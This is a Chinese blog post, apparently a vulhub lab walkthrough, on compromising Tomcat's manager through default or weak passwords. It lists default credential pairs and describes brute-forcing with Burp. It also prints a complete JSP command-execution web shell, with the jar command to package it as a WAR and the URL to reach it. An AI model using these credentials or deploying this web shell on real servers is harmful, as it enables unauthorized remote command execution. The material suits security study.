Tomcat弱口令getshell

漏洞条件

  • Tomcat
  • 管理员使用默认或者弱密码

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。Tomcat后台提供war包部署功能,实现上传webshell。

漏洞利用

使用vulhub环境即可,启动容器后直接访问即可看到Tomcat初始页。

点击右边的manager app 按钮或者host manager即可登陆到tomcat后台。

此时我们先尝试使用账号密码admin/admin进行登陆,通过Burp查看发送的内容

可以看到tomcat后台登陆的方式是在HTTP的头部增加一个Authorization字段,然后账号和密码是以username:password的形式拼接后再进行Base64编码进行传输。当验证失败的时候回返回401状态码。

这样一来就可以尝试对密码进行爆破,使用github上找的字典fuzz-security/SuperWordlist ,里面又tomcat的账密字典,然后把中间的空格替换为:。剩下的操作为在Burp中为字典进行Base64编码,并且把最后的对字符进行URL编码取消即可。

但是tomcat默认会有用户锁定机制,当一个用户连续输入密码错误5次时就会锁定该用户,在一段时间内登陆不了

20-Jul-2022 08:51:42.677 WARNING [http-apr-8080-exec-1] org.apache.catalina.realm.LockOutRealm.filterLockedAccounts An attempt was made to authenticate the locked user "tomcat"

所以一般情况下先尝试用默认密码进行登陆:

tomcat:tomcat
both:tomcat
role1:tomcat
admin:
admin:password
admin:admin

这里的环境就是 tomcat:tomcat

登陆后找到这里有一个上传war包的地方,这里很多java的中间件都可以用war远程部署来拿shell,tomcat也不例外

这里简单使用一个回显shell进行演示

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>


然后使用命令将jsp打包为war包:

jar -cvf test.war .

上传后即可看到目录

访问:

http://ip:8080/test/shell.jsp 

参考资料

tomcat漏洞大杂烩

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇